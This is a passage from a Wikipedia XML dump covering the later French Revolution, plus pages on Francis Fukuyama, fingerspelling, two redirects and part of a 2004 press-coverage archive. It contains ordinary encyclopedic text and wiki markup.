To no small extent, the Assembly addressed the financial crisis by having the nation take over the property of the Church (while taking on the Church's expenses), through the law of [[December 2]], 1789. In order to rapidly monetise such an enormous amount of property, the government introduced a new paper currency, ''[[assignat]]s'', backed by the confiscated church lands.

Further legislation on [[February 13]], 1790, abolished [[monastic vows]]. The [[Civil Constitution of the Clergy]], passed on [[July 12]], 1790 (although not signed by the king until [[December 26]], [[1790]]), turned the remaining clergy into employees of the State and required that they take an oath of loyalty to the constitution. The [[Civil Constitution of the Clergy]] also made the Catholic church an arm of the secular state.

In response to this legislation, the archbishop of Aix and the bishop of Clermont led a walkout of clergy from the National Constituent Assembly. The [[pope]] never accepted the new arrangement, and it led to a schism between those clergy who swore the required oath and accepted the new arrangement (&quot;jurors&quot; or &quot;constitutional clergy&quot;) and the &quot;non-jurors&quot; or &quot;refractory priests&quot; who refused to do so.

==== From the Anniversary of the Bastille to the Death of Mirabeau ====
''For a more detailed discussion of the events of [[July 14]], [[1790]]&amp;ndash;[[September 30]], [[1791]], see [[French Revolution from the summer of 1790 to the establishment of the Legislative Assembly#From the Anniversary of the Bastille to the Death of Mirabeau|From the Anniversary of the Bastille to the Death of Mirabeau]].''

The Assembly abolished the symbolic paraphernalia of the ''ancien régime'', armorial bearings, liveries, etc., which further alienated the more conservative nobles, and added to the ranks of the ''[[émigré]]s''.

On [[July 14]], [[1790]], and for several days following, crowds in the [[Champ-de-Mars]] celebrated the anniversary of the fall of the Bastille; Talleyrand performed a mass; participants swore an oath of &quot;fidelity to the nation, the law, and the king&quot;; and the king and the royal family actively participated.

The electors had originally chosen the members of the [[French Estates-General|Estates-General]] to serve for a single year.  However, by the time of the [[Tennis Court Oath]], the ''communes'' had bound themselves to meet continuously until France had a constitution. Right-wing elements now argued for a new election, but Mirabeau carried the day, asserting that the status of the assembly had fundamentally changed, and that no new election should take place before completing the constitution.

In late 1790, several small counter-revolutionary uprisings broke out and efforts took place to turn all or part of the army against the revolution. These uniformly failed. The royal court, in [[François Mignet]]'s words, &quot;encouraged every anti-revolutionary enterprise and avowed none.&quot; [http://www.outfo.org/literature/pg/etext06/8hfrr10.txt]

The army faced considerable internal turmoil: General [[François Claude Amour, marquis de Bouillé|Bouillé]] successfully put down a small rebellion, which added to his (accurate) reputation for counter-revolutionary sympathies.

The new military code, under which promotion depended on seniority and proven competence (rather than on nobility) alienated some of the existing officer corps, who joined the ranks of the émigrés or became counter-revolutionaries from within.

This period saw the rise of the political &quot;clubs&quot; in French politics, foremost among these the [[Jacobin Club]]: according to the [[1911 Encyclopædia Britannica]], one hundred and fifty-two clubs had affiliated with the Jacobins by [[August 10]], 1790. As the Jacobins became more of a broad popular organisation, some of its founders abandoned it to form the [[Club of '89]]. Royalists established first the short-lived ''[[Club des Impartiaux]]'' and later the ''[[Club Monarchique]]''. The latter attempted unsuccessfully to curry public favour by distributing bread.  Nonetheless, they became the frequent target of protests and even riots, and the Paris municipal authorities finally closed down the Club Monarchique in January [[1791]].

Amidst these intrigues, the Assembly continued to work on developing a constitution. A new judicial organisation made all magistracies temporary and independent of the throne. The legislators abolished hereditary offices, except for the monarchy itself. Jury trials started for criminal cases. The king would have the unique power to propose war, with the legislature then deciding whether to declare war. The Assembly abolished all internal trade barriers and suppressed guilds, masterships, and workers' organisations: any individual gained the right to practice a trade through the purchase of a license; strikes became illegal.

In the winter of 1791, the Assembly considered, for the first time, legislation against the ''émigrés''. The debate pitted the safety of the State against the liberty of individuals to leave. Mirabeau carried the day against the measure, which he referred to as &quot;worthy of being placed in the code of [[Draco]].&quot; [http://www.outfo.org/literature/pg/etext06/8hfrr10.txt]

However, Mirabeau died on [[March 2]] [[1791]]. In Mignet's words, &quot;No one succeeded him in power and popularity&quot; and, before the end of the year, the new Legislative Assembly would adopt this &quot;draconian&quot; measure.

==== The Flight to Varennes ====
''For a more detailed discussion, see [[Flight to Varennes]].''

Louis XVI, opposed to the course of the revolution, but rejecting the potentially treacherous aid of the other monarchs of Europe, cast his lot with General Bouillé, who condemned both the emigration and the assembly, and promised him refuge and support in his camp at [[Montmedy]].

On the night of [[June 20]], 1791, the royal family fled the Tuileries wearing the clothes of servants, while their servants dressed as nobles. However, the next day the overconfident king had the imprudence to show himself. Recognised and arrested at [[Varennes]] (in the [[Meuse]] ''[[département in France|département]]'') late on [[21 June]], he was paraded back to Paris under guard, and still wearing his rags.

[[Jérôme Pétion de Villeneuve|Pétion]], [[Marie Victor de Fay, Marquis de Latour-Maubourg|Latour-Maubourg]], and [[Antoine Pierre Joseph Marie Barnave]], representing the Assembly, met the royal family at [[Épernay]] and returned with them. From this time, Barnave became a counselor and supporter of the royal family.

When they reached Paris, the crowd remained silent. The Assembly provisionally suspended the king. He and Queen [[Marie Antoinette]] remained held under guard.

==== The Last Days of the National Constituent Assembly ====
''For a more detailed discussion, please see [[French Revolution from the summer of 1790 to the establishment of the Legislative Assembly#The Last Days of the National Constituent Assembly|The Last Days of the National Constituent Assembly]].''

With most of the Assembly still favouring a [[constitutional monarchy]] rather than a [[republic]], the various groupings reached a compromise which left Louis XVI little more than a figurehead: he had perforce to swear an oath to the constitution, and a decree declared that retracting the oath, heading an army for the purpose of making war upon the nation, or permitting anyone to do so in his name would amount to ''de facto'' abdication.

[[Jacques Pierre Brissot]] drafted a petition, insisting that in the eyes of the nation Louis XVI was deposed since his flight. An immense crowd gathered in the [[Champ-de-Mars]] to sign the petition. [[Georges Danton]] and [[Camille Desmoulins]] gave fiery speeches. The Assembly called for the municipal authorities to &quot;preserve public order&quot;. The National Guard under Lafayette's command confronted the crowd. The soldiers first responded to a barrage of stones by firing in the air; the crowd did not back down, and Lafayette ordered his men to fire into the crowd, resulting in the killing of as many as fifty people.

In the wake of this massacre the authorities closed many of the patriotic clubs, as well as radical newspapers such as [[Jean-Paul Marat]]'s ''[[L'Ami du Peuple]]''. Danton fled to England; Desmoulins and Marat went into hiding.

Meanwhile, a renewed threat from abroad arose: [[Leopold II, Holy Roman Emperor]], [[Frederick William II of Prussia]], and the king's brother [[Charles X of France|Charles-Phillipe, comte d'Artois]] issued the [[Declaration of Pilnitz]] which considered the cause of Louis XVI as their own, demanded his total liberty and the dissolution of the Assembly, and promised an invasion of France on his behalf if the revolutionary authorities refused its conditions.

If anything, the declaration further imperiled Louis. The French people expressed no respect for the dictates of foreign monarchs, and the threat of force merely resulted in the militarisation of the frontiers.

Even before the &quot;Flight to Varennes,&quot; the Assembly members had determined to debar themselves from the legislature that would succeed them, the [[French Legislative Assembly|Legislative Assembly]]. They now gathered the various constitutional laws they had passed into a single constitution, showed remarkable fortitude in choosing not to use this as an occasion for major revisions, and submitted it to the recently restored Louis XVI, who accepted it, writing &quot;I engage to maintain it at home, to defend it from all attacks from abroad, and to cause its execution by all the means it places at my disposal&quot;. The king addressed the Assembly and received enthusiastic applause from members and spectators. The Assembly set the end of its term for [[September 29]] [[1791]].

Mignet has written, &quot;The constitution of 1791... was the work of the middle class, then the strongest; for, as is well known, the predominant force ever takes possession of institutions... In this constitution the people was the source of all powers, but it exercised none.&quot; [http://www.outfo.org/literature/pg/etext06/8hfrr10.txt]

=== The Legislative Assembly and the fall of the Monarchy ===
''For a more detailed description of the events of [[October 1]] [[1791]]&amp;ndash;[[September 19]] [[1792]], see main article [[The Legislative Assembly and the fall of the French monarchy]].''

==== The Legislative Assembly ====
Under the Constitution of 1791, France would function as a constitutional monarchy. The king had to share power with the elected [[Legislative Assembly (France)|Legislative Assembly]], but he still retained his royal veto and the ability to select ministers.

The Legislative Assembly first met on [[October 1]], 1791, and degenerated into chaos less than a year later. In the words of the [[1911 Encyclopædia Britannica]]: &quot;In the attempt to govern, the Assembly failed altogether. It left behind an empty treasury, an undisciplined army and navy, and a people debauched by safe and successful riot.&quot;

The Legislative Assembly consisted of about 165 [[Feuillant]]s (constitutional monarchists) on the [[Right-wing politics|right]], about 330 [[Girondist]]s (liberal republicans) and [[Jacobin]]s (radical revolutionaries) on the [[Left-wing politics|left]], and about 250 deputies unaffiliated with either faction.

Early on, the king vetoed legislation that threatened the ''émigrés'' with death and that decreed that every [[non-juror|non-juring clergyman]] must take within eight days the civic oath mandated by the Civil Constitution of the Clergy. Over the course of a year, disagreements like this would lead to a [[constitutional crisis]].

==== War ====
The politics of the period inevitably drove France towards war with [[Austria]] and its allies. The King, the Feuillants and the Girondins specifically wanted to wage war. The King (and many Feuillants with him) expected war would increase his personal popularity; he also foresaw an opportunity to exploit any defeat: either result would make him stronger. The Girondins wanted to export the Revolution throughout Europe. Only some of the radical Jacobins opposed war, preferring to consolidate and expand the revolution at home. The Austrian emperor [[Leopold II, Holy Roman Emperor|Leopold II]], brother of [[Marie Antoinette]], may have wished to avoid war, but he died on [[March 1]], [[1792]].

France declared war on [[Austria]] ([[April 20]] [[1792]]) and [[Prussia]] joined on the Austrian side a few weeks later. The [[French Revolutionary Wars]] had begun.

After early skirmishes went badly for France, the first significant military engagement of the war occurred with the Franco-Prussian [[Battle of Valmy]] ([[September 20]] 1792). Although heavy rain prevented a conclusive resolution, the French artillery proved its superiority. However, by this time, France stood in turmoil and the monarchy had effectively become a thing of the past.

==== Constitutional Crisis ====
[[image:French_Revolution-1792-8-10.jpg|thumb|August 10, 1792, Paris Commune]]
:''Main articles: [[10th of August (French Revolution)]], [[September Massacres]]''

On the night of [[August 10]] 1792, insurgents, supported by a new revolutionary [[Paris Commune (French Revolution)|Paris Commune]], assailed the Tuileries. The king and queen ended up prisoners and a rump session of the Legislative Assembly suspended the monarchy: little more than a third of the deputies were present, almost all of them Jacobins.

What remained of a national government depended on the support of the insurrectionary Commune. When the Commune sent gangs of assassins into the prisons to butcher 1400 victims, and addressed a circular letter to the other cities of France inviting them to follow this example, the Assembly could offer only feeble resistance. This situation persisted until the [[French National Convention|Convention]], charged with writing a new constitution, met on [[September 20]], 1792 and became the new ''de facto'' government of France. The next day it abolished the monarchy and declared a republic. This date was later retroactively adopted as the beginning of [[Year One]] of the [[French Revolutionary Calendar]].

=== The Convention ===
[[Image:LouisXVIExecutionBig.jpg|thumb|Execution of Louis XVI]]
''For a more detailed description of the events of [[September 20]] [[1792]]&amp;ndash;[[September 26]] [[1795]], see [[National Convention]].''

The legislative power in the new republic fell to a National Convention, while the executive power came to rest in the [[Committee of Public Safety]]. The Girondins became the most influential party in the Convention and on the Committee.

In the [[Brunswick Manifesto]], the Imperial and Prussian armies threatened retaliation on the French population should it resist their advance or the reinstatement of the monarchy. As a consequence, King Louis was seen as conspiring with the enemies of France. [[January 17]] [[1793]] saw King Louis condemned to death for &quot;conspiracy against the public liberty and the general safety&quot; by a weak majority in Convention. The [[January 21]] execution led to more wars with other European countries. Louis' Austrian-born queen, Marie Antoinette, would follow him to the guillotine on [[October 16]].

When war went badly, prices rose and the [[sans-culottes]] (poor labourers and radical Jacobins) rioted; counter-revolutionary activities began in some regions. This encouraged the Jacobins to seize power through a parliamentary [[coup d'état|''coup'']], backed up by force effected by mobilising public support against the Girondist faction, and by utilising the mob power of the Parisian ''sans-culottes''. An alliance of Jacobin and ''sans-culottes'' elements thus became the effective centre of the new government. Policy became considerably more radical.

[[Image:Badische Guillotine.JPG|thumb|left|[[Guillotine]]: between 18,000 to 40,000 people were executed during the [[Reign of Terror]]]]
The [[Committee of Public Safety]] came under the control of [[Maximilien Robespierre]], and the Jacobins unleashed the [[Reign of Terror]] ([[1793]]-[[1794]]). At least 1200 people met their deaths under the [[guillotine]] or otherwise; after accusations of counter-revolutionary activities. The slightest hint of counter-revolutionary thoughts or activities (or, as in the case of [[Jacques Hébert]], revolutionary zeal exceeding that of those in power) could place one under suspicion, and the trials did not proceed scrupulously.

In 1794 [[Robespierre]] had ultra-radicals and moderate Jacobins executed; in consequence, however, his own popular support eroded markedly. On [[July 27]], [[1794]], the French people revolted against the excesses of the Reign of Terror in what became known as the [[Thermidorian Reaction]]. It resulted in moderate Convention members deposing and executing Robespierre and several other leading members of the Committee of Public Safety. The new government was predominantly made up of Girondists who had survived the Terror, and after taking power, they took revenge as well by persecuting even those Jacobins who had helped to overthrow Robespierre, banning the Jacobin Club, and executing many of its former members in what was known as the [[White Terror]].

The Convention approved the new &quot;Constitution of the Year III&quot; on [[August 17]] [[1795]]; a [[plebiscite]] ratified it in September; and it took effect on [[September 26]], [[1795]].

=== The Directory ===
''For more information on the events of [[September 26]] [[1795]]&amp;ndash;[[November 9]] [[1799]], see [[French Directory]].''

The new constitution installed the [[French Directory |''Directoire'']] ([[English language|English]]: ''Directory'') and created the first [[bicameral legislature]] in French history. The parliament consisted of 500 representatives (the ''Conseil des Cinq-Cents'' (Council of the Five Hundred)) and 250 senators (the ''Conseil des Anciens'' (Council of Seniors)). Executive power went to five &quot;directors&quot;, named annually by the ''Conseil des Anciens'' from a list submitted by the ''Conseil des Cinq-Cents''.

The new [[regime|régime]] met with opposition from remaining Jacobins and the royalists. The army suppressed riots and counter-revolutionary activities. In this way the army and its successful general, [[Napoleon I of France|Napoleon Bonaparte]] gained much power.

On [[November 9]] [[1799]] ([[18 Brumaire]] of the Year VIII) [[Napoleon]] staged the ''[[coup]]'' which installed the [[French Consulate|Consulate]]; this effectively led to his dictatorship and eventually (in 1804) to his proclamation as emperor, which brought to a close the specifically [[republic]]an phase of the French Revolution.

== See also ==
* [[French Revolutionary Calendar]]
* [[French Revolutionary Wars]]
* [[Glossary of the French Revolution]]
* [[History of democracy]]
* [[List of people associated with the French Revolution]]
* [[List of people granted honorary French citizenship during the French Revolution]]
* [[Reactionary]]
* [[Timeline of the French Revolution]]

=== Other revolutions in French history ===
* [[July Revolution]]
* [[The Revolutions of 1848 in France]]
* [[Paris Commune]] of 1871
* [[May 1968]], a noteworthy rebellion, though not quite a revolution

== References==
{{1911}}
{{Mignet}}

== Further reading ==
* Doyle, William. ''Oxford history of the French Revolution'', 2nd ed., Oxford: Oxford University Press, 2002 ISBN 0-19-925298-X
* Doyle, William. ''Origins of the French Revolution'', 3rd ed., Oxford: Oxford University Press, 1999 ISBN 0-19-873175-2, ISBN 0-19-873174-4 (pbk.) 
* Furet, François. ''La révolution en debat'', Paris: Gallimard, 1999 ISBN 2-07-040784-5
** A short but important book with a series of articles on the historiography of the revolution
* Hibbert, Christopher. ''The Days of the French Revolution'', New York: Morrow Quill Paperbacks, 1981. ISBN 0-688-00746-5 (pbk.)
** A very well researched classic of the genre available in many bookstores.
* Legrand, Jacques. ''Chronicle of the French Revolution 1788-1799'', London: Longman and Chronicle Communications, 1989 ISBN 0-582051-94-0
** The English-language edition of the collaborative work ''Chronique de la Révolution 1788-1799'', Paris: Larousse, 1988 ISBN 2-03-503250-4, produced under the direction of Jean Favier and others.
* Loomis, Stanley. ''Paris in the Terror, June 1793 &amp;ndash; July 1794'', Drum Book, 1986 ISBN 0-931933-18-8
* McPhee, Peter. ''The French Revolution, 1789-1799'', Oxford: Oxford University Press, 2002 ISBN 0-19-924414-6
** A short but up-to-date and useful book which covers many areas including feminism and environment etc.
* Tackett, Timothy. ''Becoming a Revolutionary: the deputies of the French National Assembly and the emergence of a revolutionary culture (1789-1790)'', Princeton, N.J.; Chichester: Princeton University Press, 1996 ISBN 0-691-04384-1
** The most thorough research on the deputies of the Estates General and the National Assembly.
* Vermeil, Jean. ''L`autre Histoire de France'', Paris: Editions du Félin, 1993 ISBN 2-86645-139-2
** &quot;The exactions of the revolutionaries in the Vendée&quot; (Chapters 13 to 16). (In French)

== External links ==
* [http://www.desaix.com The Musée de Veygoux] is a museum in [[Auvergne (région)|Auvergne]] dedicated to the French Revolution and [[Desaix]]

[[Category:French Revolution]]

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[[ru:Великая французская революция]]
[[scn:Rivuluzzioni francisi]]
[[simple:French Revolution]]
[[sk:Francúzska revolúcia]]
[[sl:Francoska revolucija]]
[[sr:Француска револуција]]
[[fi:Ranskan suuri vallankumous]]
[[sv:Franska revolutionen]]
[[th:การปฏิวัติฝรั่งเศส]]
[[vi:Cách mạng Pháp]]
[[tr:Fransız İhtilali]]
[[zh:法国大革命]]</text>
    </revision>
  </page>
  <page>
    <title>Fictional realm</title>
    <id>11189</id>
    <revision>
      <id>15908952</id>
      <timestamp>2004-08-16T06:11:37Z</timestamp>
      <contributor>
        <username>Gtrmp</username>
        <id>38984</id>
      </contributor>
      <comment>merged into [[fictional universe]]</comment>
      <text xml:space="preserve">#redirect [[fictional universe]]</text>
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  </page>
  <page>
    <title>Feminist Spirituality</title>
    <id>11190</id>
    <revision>
      <id>15908953</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Feminist spirituality]]
</text>
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  </page>
  <page>
    <title>Francis Fukuyama</title>
    <id>11194</id>
    <revision>
      <id>42038853</id>
      <timestamp>2006-03-03T11:01:37Z</timestamp>
      <contributor>
        <ip>128.12.193.78</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Francis_Fukuyama.jpg|right|thumb]]
'''Francis Fukuyama''' (born [[October 27]], [[1952]] in [[Chicago, Illinois|Chicago]]) is an influential [[United States|American]] [[Political economy|political economist]] and author. He received his B.A. from [[Cornell University]] in classics, his Ph.D. from [[Harvard]] in Political Science, and is currently Bernard L. Schwartz Professor of [[International Political Economy]] and Director of the International Development Program at the [[Johns Hopkins University]] [[Johns_Hopkins_SAIS|School of Advanced International Studies]].

==Biography==

Fukuyama is best known as the author of ''[[The End of History and the Last Man]]'', in which he argues that the progression of human history as a struggle between ideologies is largely at an end, with the world settling on [[liberal democracy]] after the end of the [[Cold War]] and when the [[Berlin Wall]] fell in 1989. Fukuyama's prophecy declares the eventual triumph of political and economic liberalism.  He has written a number of other books, among them ''[[Trust: The Social Virtues and the Creation of Prosperity]]'' and ''[[Our Posthuman Future: Consequences of the Biotechnology Revolution]]''.  In the latter, he qualifies his original &quot;end of history&quot; thesis, arguing that since biotechnology increasingly allows humans to control their own [[evolution]], it may allow humans to become fundamentally unequal, and thus spell the end of liberal democracy as a workable system.

Fukuyama is sometimes criticized as being a [[Neo-luddism|bio-luddite]] because of his critiques of the political ramifications of [[transhumanism]], though to others Fukuyama is considered more of a [[bioconservative]] because of his cautious support for [[genetically modified organism]] technologies.

Politically, Fukuyama has in the past been considered [[Neoconservatism|neoconservative]].  He was active in the [[Project for the New American Century]] think tank starting in 1997, and signed the organization's letter recommending that [[President of the United States|President]] [[Bill Clinton]] overthrow the then-President of [[Iraq]], [[Saddam Hussein]].  [http://www.newamericancentury.org/iraqclintonletter.htm] He also joined in its similar letter to President [[George W. Bush]] after the [[September 11, 2001 attacks]], a letter that called for removing Saddam Hussein from power &quot;even if evidence does not link Iraq directly to the attack&quot;. [http://www.newamericancentury.org/Bushletter.htm]

Thereafter, however, he did not approve of the [[2003 invasion of Iraq]] as it was executed, and called for [[Donald Rumsfeld]]'s resignation as [[United States Secretary of Defense|Secretary of Defense]] [http://www.zaman.com/?bl=international&amp;alt=&amp;trh=20040714&amp;hn=10372].  He also said that he would vote against Bush in the 2004 election. [http://clublet.com/why?WhyIWontVoteForGeorgeBush] In an essay in the ''[[New York Times Magazine]]'' in [[2006]] that was strongly critical of the invasion [http://www.nytimes.com/2006/02/19/magazine/neo.html], he identified neoconservatism with [[Leninism]].  He wrote that the neoconservatives

&lt;blockquote&gt;believed that history can be pushed along with the right application of power and will. Leninism was a tragedy in its [[Bolshevik]] version, and it has returned as farce when practiced by the United States. Neoconservatism, as both a political symbol and a body of thought, has evolved into something I can no longer support.&lt;/blockquote&gt;

He also announced the end of the &quot;neoconservative moment&quot; and argued for the demilitarization of the war on terrorism:

&lt;blockquote&gt;&quot;[W]ar&quot; is the wrong metaphor for the broader struggle, since wars are fought at full intensity and have clear beginnings and endings. Meeting the jihadist challenge is more of a &quot;long, twilight struggle&quot; whose core is not a military campaign but a political contest for the hearts and minds of ordinary [[Muslim]]s around the world.&lt;/blockquote&gt;

In August 2005 Fukuyama, together with a number of other prominent political thinkers, co-founded ''The American Interest'' [http://www.the-american-interest.com], a quarterly magazine devoted to the broad theme of &quot;America in the World&quot;. 

Fukuyama was a member of the [[President's Council on Bioethics]] from 2001-2005.

Fukuyama is on the steering committee for the [[Scooter Libby]] Legal Defense Trust [http://www.nytimes.com/2006/02/03/politics/03libby.html?_r=2&amp;oref=slogin&amp;oref=slogin].


==Books==
*''[[The End of History and the Last Man]].'' Free Press, 1992.  ISBN 0029109752
*''[[Trust: The Social Virtues and the Creation of Prosperity]].'' Free Press, 1995.  ISBN 0029109760
*''[[The Great Disruption]]: Human Nature and the Reconstitution of Social Order.'' Free Press, 1999.  ISBN 068484530X
*''[[Our Posthuman Future]]: Consequences of the Biotechnology Revolution.'' Farrar, Straus and Giroux, 2002.  ISBN 0374236437
*''[[State-Building]]: Governance and World Order in the 21st Century.'' [[Cornell University]] Press, 2004.  ISBN 0801442923
*''America at the Crossroads: Democracy, Power, and the Neoconservative Legacy'' (forthcoming, [[Yale University]] Press, 2006).  ISBN 0300113994

==Essays==
*''[http://www.findarticles.com/p/articles/mi_m2751/is_76/ai_n6127311 The Neoconservative Moment]'', [[The National Interest]], Summer 2004
*''[http://www.nytimes.com/2006/02/19/magazine/neo.html After Neoconservatism]'', [[The New York Times]] ''Magazine'', Sunday, [[19 February]] [[2006]]

==See also==
*[[Transhumanism#Brave_New_World_argument|''Brave New World'' argument]]
*[[Bioconservatism]]
*[[Biopolitics]]
*[[Neoconservatism]]

==External links==
*[http://www.nytimes.com/2006/02/19/magazine/neo.html After Neoconservatism] ''New York Times'' [[19 February]] [[2006]].
*[http://www.thetalent.org/Video/frm-main.php?show=19&amp;quality=stop Interview with Francis Fukuyama (The Talent) [[28 April]] [[2005]]]
*[http://www.sais-jhu.edu/Faculty/fukuyama/Biography Biography from Francis Fukuyama's website]
*Danny Postel. [http://www.opendemocracy.net/debates/article-3-117-2190.jsp ''Fukuyama&amp;#8217;s moment: a neocon schism opens'']
* [http://rightweb.irc-online.org/profile/1156 ''RightWeb'' profile of Francis Fukuyama]
* [http://www.sourcewatch.org/index.php?title=Francis_Fukuyama ''SourceWatch'' profile of Francis Fukuyama]
* [http://www.politicalfriendster.com/showPerson.php?id=228&amp;name=Francis-Fukuyama Francis Fukuyama's connections], ''[[Political Friendster]]''.
* [http://www.cooperativeresearch.org/entity.jsp?id=1521846767-2618 Profile: Francis Fukuyama], ''Center for Cooperative Research''.
* [http://www.namebase.org/main2/Francis-Fukuyama.html ''NameBase'' source list]
* [http://news.scotsman.com/international.cfm?id=266122006 anti-Iraq war]


[[Category:1952 births|Fukuyama, Francis]]
[[Category:Living people|Fukuyama, Francis]]
[[Category:American political writers|Fukuyama, Frances]]
[[Category:American technology writers|Fukuyama, Frances]]
[[Category:Japanese Americans|Fukuyama, Francis]]
[[Category:American political scientists|Fukuyama, Frances]]
[[Category:Johns Hopkins University|Fukuyama, Frances]]
[[Category:Project for the New American Century|Fukuyama, Francis]]
[[Category:Anti-war people|Fukuyama, Francis]]

[[ar:فوكوياما]]
[[de:Francis Fukuyama]]
[[es:Francis Fukuyama]]
[[fr:Francis Fukuyama]]
[[he:פרנסיס פוקויאמה]]
[[hr:Francis Fukuyama]]
[[it:Francis Fukuyama]]
[[ja:フランシス・フクヤマ]]
[[nl:Francis Fukuyama]]
[[pl:Francis Fukuyama]]
[[sr:Френсис Фукујама]]
[[sv:Francis Fukuyama]]
[[zh:法蘭西斯·福山]]</text>
    </revision>
  </page>
  <page>
    <title>Fingerspelling</title>
    <id>11195</id>
    <revision>
      <id>40833167</id>
      <timestamp>2006-02-23T08:06:36Z</timestamp>
      <contributor>
        <ip>193.64.21.2</ip>
      </contributor>
      <comment>fi:</comment>
      <text xml:space="preserve">'''Fingerspelling''' is the act of spelling out words with the hands, using a [[manual alphabet]]. Fingerspelling is an important part of [[sign language]]s. Different sign languages (they are not universal) use different manual alphabets - some one-handed and others two-handed. 

Fingerspelling is used in sign language for words and names for which there is no sign. Although, some words are preferably fingerspelt even when there is an equivalent sign. Fingerspelling can also be used for emphasis, clarification, or (sometimes extensively) when teaching or learning a sign language. 

Fingerspelling is often rapid so that the individual letters become difficult to distinguish, and the word is grasped from the overall hand movement.

When persons fluent in sign language read fingerspelling, they do not look at the signer's hand, but maintain eye contact and look at the face of the signer because facial expressions and body language are such an important part of sign language. People who are just learning fingerspelling often find it impossible to understand it using just their [[peripheral vision]] and must look directly at the hand of someone who is fingerspelling. Often, they must also ask the signer to fingerspell slowly. For people who did not learn sign language as their first language, it frequently takes years of expressive and receptive practice to become skilled with fingerspelling.

==Good fingerspelling form==

The hand(s) should either remain in place while fingerspelling, or more often, drift slighly away from the midline in the manner of text being written out in the air; although, this is a subtle movement and should not be exaggerated. 

If fingerspelling multiple words or entire sentences, there should be a very brief pause between terms so as to signify the beginning and ending of individual words. 

Long nails or excessive jewelry can be distracting when watching fingerspelling and for this reason people who regularly use sign language usually avoid these conditions.

=== In American Sign Language ===

When fingerspelling [[acronyms]] in [[American Sign Language]], such as with FBI, NASA, or [[RID]], the letters are often moved in a small circle to emphasize that they should not be read together as a word.

Additionally, when fingerspelling the hand '''should not bounce''' between letters. An exception is the case of double letters as with the word ''carry'' in which the double ''R'' can be shown by slightly bouncing the corresponding handshape, or by dragging it, slightly, to the side. Either method is a correct way to show double letters. However, people who bounce between '''every''' letter produce fingerspelling that is very hard to watch or understand. Those who cannot overcome the habit of bouncing every letter may find it helpful to hold the wrist of the hand doing the fingerspelling with the free hand so that they are forced to keep the hand from moving up and down while fingerspelling. Usually, only a few hours or days of this is enough to break the habit of unnecessary bouncing while fingerspelling.

==See also==
*[[Manual alphabet]]
*[[American Sign Language alphabet]]
*[[Two-handed manual alphabet]]

[[Category:Sign languages]]
[[Category:deaf culture]]

[[fi:Sormiaakkoset]]</text>
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  </page>
  <page>
    <title>Wikipedia:Press coverage 2004</title>
    <id>11201</id>
    <revision>
      <id>18860457</id>
      <timestamp>2005-07-15T02:33:00Z</timestamp>
      <contributor>
        <username>Mcferran</username>
        <id>136593</id>
      </contributor>
      <minor />
      <comment>disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">[[Wikipedia:Press coverage]] archive for 2004.

==Arabic==
* In February 13th, An article about Wikipedia appeared in [http://www.linux4arab.com/modules.php?op=modload&amp;name=News&amp;file=article&amp;sid=280 Linux4Arab.com]. Hundreds read the article, and this posting, along with postings to mailing lists of [[LUG]]s and [[Open Source]] projects were the main reasons for the boost the [http://ar.wikipedia.org Arabic Wikipedia] had afterwards.

==Danish==

*[http://politiken.dk/VisArtikel.iasp?PageID=308079&amp;TemplateID=5567 Article in ''Politiken'' 24/2 2004] - Immediately after the press release of February 2004, ''Politiken'', a major Danish daily, publishes an article about the progress of Wikipedia

==English==

===January===
*'''[http://www.discover.com/issues/jan-04/departments/emerging-technology/?page=2 Emerging Technology: Internet-Era Democracy: Can the World Wide Web give ordinary people a shot at true populism?]''' [[Discover Magazine]] cites Wikipedia as an example of how the public can be harnessed.  Jan 2004.
* '''[http://www.fastcompany.com/magazine/78/conscious.html Image Conscious]''' Fast Company Magazine discusses a study of &quot;collaboratively written or edited document&quot;s, [[IBM History Flow tool|History Flow]], headed by a member of IBM's research division, [[Martin Wattenberg]]. Written by Scott Kirsner, January 2004 issue (#78), page 38.
* ''The Wall Street Journal'', January 12, 2004, The Journal Report, Technology; ''Business Solutions'' by Michael Totty. &quot;There is even a wiki encyclopedia (wikipedia.org) where anyone can add or amend entries.&quot;
* ''[http://www.popsci.com/popsci/medicine/article/0,12543,572388-5,00.html Popular Science]'', February 2004 mentions wikipedia.org among a few sites on the web as &quot;Where to turn on the net for scientific bolstering&quot; on page 65 in the print version, and [http://www.popsci.com/popsci/medicine/article/0,12543,572388-5,00.html here] in the online version.
* '''[http://www.techcentralstation.com/012204A.html Today Linux, Tomorrow the World?]''' Tech Central Station very briefly mentions Wikipedia saying, &quot;Just as the open source movement can point to valuable software, it is also producing some interesting things in other areas, such as the popular encyclopedia Wikipedia...,&quot; in an article about [[open source]] titled ''Today Linux, Tomorrow the World?''. January 22, 2004.
* '''[http://www.mercurynews.com/mld/mercurynews/business/7793099.htm Online reference to reach milestone]''' from The Mercury News talks about Wikipedia and its impending 200,000 article milestone. January 25, 2004. Reprinted in [http://www.siliconvalley.com/mld/siliconvalley/7793099.htm Siliconvalley.com], [http://www.bradenton.com/mld/bradenton/business/technology/7793099.htm Bradenton Herald, FL], [http://www.sunherald.com/mld/sunherald/business/technology/7793099.htm Biloxi Sun Herald, MS], [http://www.kansascity.com/mld/kansascity/business/technology/7793099.htm The Kansas City Star, MO], [http://www.miami.com/mld/miamiherald/7802835.htm Miami Herald]
* '''[http://seattlepi.nwsource.com/business/158020_msftnotebook26.html Microsoft Notebook: Wiki pioneer planted the seed and watched it grow]''' from Seattle Post-Intelligencer's Todd Bishop is an article on [[Ward Cunningham]], the creator of the [[wiki]] concept. Wikipedia is mentioned as the largest wiki on the web. The article also has quotes from Wikipedia's founder, [[Jimmy Wales]]. January 26, 2004.
* Dan Gillmor, &quot;Wikipedia emerges as credible resource&quot;, ''San Jose Mercury News'' (Jan. 29, 2004).  About 200,000 article mark: &quot;Wikipedia (www.wikipedia.org), an encyclopedia created and operated by volunteers, is one of the most fascinating developments of the Digital Age. In just over three years of existence, it has become a valuable resource and an example of how the grass roots in today's interconnected world can do extraordinary things.&quot;

===February===
*'''Information Outlook''' (Feb 2004). ''[http://www.findarticles.com/cf_dls/m0FWE/2_8/114010240/p1/article.jhtml eBooks: rumors of our death are greatly exaggerated.].

